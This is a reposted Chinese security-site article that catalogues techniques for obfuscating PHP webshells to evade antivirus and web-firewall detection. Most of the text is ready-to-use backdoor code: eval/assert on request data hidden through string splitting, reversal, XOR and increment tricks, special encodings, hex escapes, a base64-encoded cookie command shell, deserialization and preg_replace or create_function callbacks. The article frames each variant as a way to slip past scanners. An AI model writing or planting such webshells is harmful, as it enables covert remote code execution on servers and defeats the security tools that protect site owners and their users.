黑基网 首页 IT教程 安全攻防 查看内容

PHP WebShell变形技术总结

2017-12-8 11:50| 投稿: lofor |来自: 互联网

摘要: 简介WebShell的变形技术与各种防护软件的检测方法一直都在相互对抗,本篇文章就对目前常见的WebShell的变形技术进行总结。目前的防护软件对能够执行命令函数和能够执行代码的函数都会格外的敏感,如eavl、assert、sy ...

简介

WebShell的变形技术与各种防护软件的检测方法一直都在相互对抗,本篇文章就对目前常见的WebShell的变形技术进行总结。

目前的防护软件对能够执行命令函数和能够执行代码的函数都会格外的敏感,如eavlassertsystempopenshell_exec,所以像最为简单的eval($_POST[cmd])的一句话就一定会被查杀。所以目前的变形的本质都在于如何隐藏自己的敏感函数。

巧用$GPC

利用$GLOBALS

@eval($GLOBALS['_POST']['op']);

很多的防护软件仅仅只是检查$_POST,所以通过$GLOBALS就能够逃过查杀。

利用$_FILE

@eval($_FILE['name']);

使用$_FILE就能够逃脱很多防护软件了。

关键字替换

敏感函数拆分

由于PHP语法的灵活性,这种写法就会有很多了。比如

$k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);

这种就是利用PHP的可变函数来拆分assert关键字。但是这种拆分方式也比较的简单,目前的防护软件已经可以识别了。

这种方式也可以变形一下,将assert放置在函数里面。如下:

function func() {
    return "ass"."ert";
}
$a = func();
$a(${"_PO"."ST"}['sz']);

基于这种方式还可以进行更多的变形,在这里就不进行说明了。

空格替换&字符串替换

<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));?>

首先将关键函数进行倒转和空格,之后利用strrevstr_replace恢复。不同于之前的字符串拼接,这种方式采用的是将字符串进行各种变形达到隐藏敏感函数的目的,这种方式在一定程度上能够有效地躲避查杀。

特殊字符

这种特殊字符组成的webshell其实也算是关键字替换中的,但是这种由特殊字符串组成的webshell经常被讨论,所以在这里单独作为一小节进行说明。

进制运算

@$_++;

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");         // $__的值为_POST

@${$__}[!$_](${$__}[$_]);

通过异或运算(^)、取反运算(!)的方式组成一个webshell。

自增运算

因为在PHP中,'a'++ => 'b''b'++ => 'c',所以我们如果得到了其中的一个字母,通过这个字符就可以得到所有的字母。通过$_=[];[email protected]"$_";;得到$_Array的字符串,那么就可以得到所有的字符串了。

$_=[];
[email protected]"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]);

关于这种由特殊字符组成的webshell可以参考P神写的一些不包含数字和字母的webshell

利用注释

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7

通过特色符号和注释组合组成一个webshell,也能够隐藏关键字。

异或运算&字符编码

这种异或运算得到的webshell与上面讲的通过异或运算不完全一样。在特定的编码情况下,一些字符串经过异或运算就能够得到一些特定的函数,这些函数就可以用于构造webshell。

$y=~督耽孩^'(1987)';
$y($_POST[1987]);

上述的代码需要以GBK的方式保存,其中的$y的值为assert,这样就是一个典型的webshell了。

还有如下这种:

$x=~Ÿ¬¬o-«;
$x($_POST[~11ÏÏÏÏ]);

上述的代码需要以ISO-8859-15保存,其中的$xassert,而~11ÏÏÏÏFF0000。即使是这种方式,部分的防护软件还是能够识别。

eval&base64_decode变形

通过对大量的webshell分析,发现很多的webshell其实都是eval(base64_decode($_POST[cmd]))这种方式的变形。变形的核心思想其实就是将base64_decode$_POST隐藏。下面就对这几种变形的方法进行说明。

字符串&数组的方式

这种方式一般都是先声明字符串,之后通过从字符串中进行取值,得到所需要的敏感函数。如下:

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];
if (isset($s22)) {
    eval($s21($s22));
}

通过字符串PCT4BA6ODSE_得到,$s21base64_decode,$s22${"_POST"}['n985de9'],所以这种方式最后的代码其实就是eval(base64_decode($_POST['n985de9']));

进制转换

这种方式在webshell中也是比较常见的。

$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145";
@eval($v230c590(.....

其中$v230c590就是base64_decode,通过十六进制和八进制混用的方式代替base64_decode。还有如下这种形式

$liner = "pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code);

其中\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28其实为eval(gzuncompress(base64_decode(也达到了隐藏敏感函数的目的。

反序列化执行

通过序列化的方式,我们也能够执行webshell。

class foo{
    public $data="text";
    function __destruct()
    {
        eval($this->data);
    }
}
$file_name=$_GET['id'];
unserialize($file_name);

我们需要在本地构造序列化的数据。构造好了之后,通过shell.php?id=id=O:3:"foo":1:{s:4:"data";s:10:"phpinfo();";},这样就能够执行phpinfo();命令了。

回调函数

PHP中的回调函数非常之多,所以通过回调函数执行Webshell的方式也非常的多。最常见的回调函数的写法就是$ant=create_function("","eval($_POST[cmd]);");$ant();。但是目前大部分的防护软件都都已经能够识别这种写法的webshell,所以目前的回调函数方法变形一般都是通过其他的不常见的回调函数以及变换关键代码。

create_function的变形

基于create_function的变形是非常多的。如下面两种:

变形一:

$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();

变形二:

$function = create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs='));
$function();

总体来说这种方法和上面讲的关键字替换是类似的

preg_replace变形

通过preg_replace\e模式下能够执行代码这种方式也是十分常见的,很多攻击者都喜欢使用preg_replace。下面就提供三种变形。

变形一:

@$a = $_POST['x'];
if (isset($a)) {
    @preg_replace("/\[(.*)\]/e", '\\1', base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}

通过base64编码将关键代码隐藏。

变形二:

function funfunc($str) {}
echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]);

这种方式其实还利用了PHP中的可变变量能够执行代码的特点。通过cmd=<title>${@eval($_POST[xxx])}</title>&xxx=phpinfo();这种方式就可以执行任意的代码了。

变形三:

在php中也有几个和preg_replace类似的函数可以使用,如mb_ereg_replacepreg_filter。用法如下:

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
echo preg_filter('|.*|e', $_REQUEST['pass'], '');

在PHP中这种动态函数是非常多的,除了上述说的create_function,preg_replace,还有诸如call_user_func、 call_user_func_array。还可以利用一些不常见的回调函数,如array_map小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

发表评论

最新评论

引用 HXK 2018-6-1 20:48

查看全部评论(2)


新出炉

返回顶部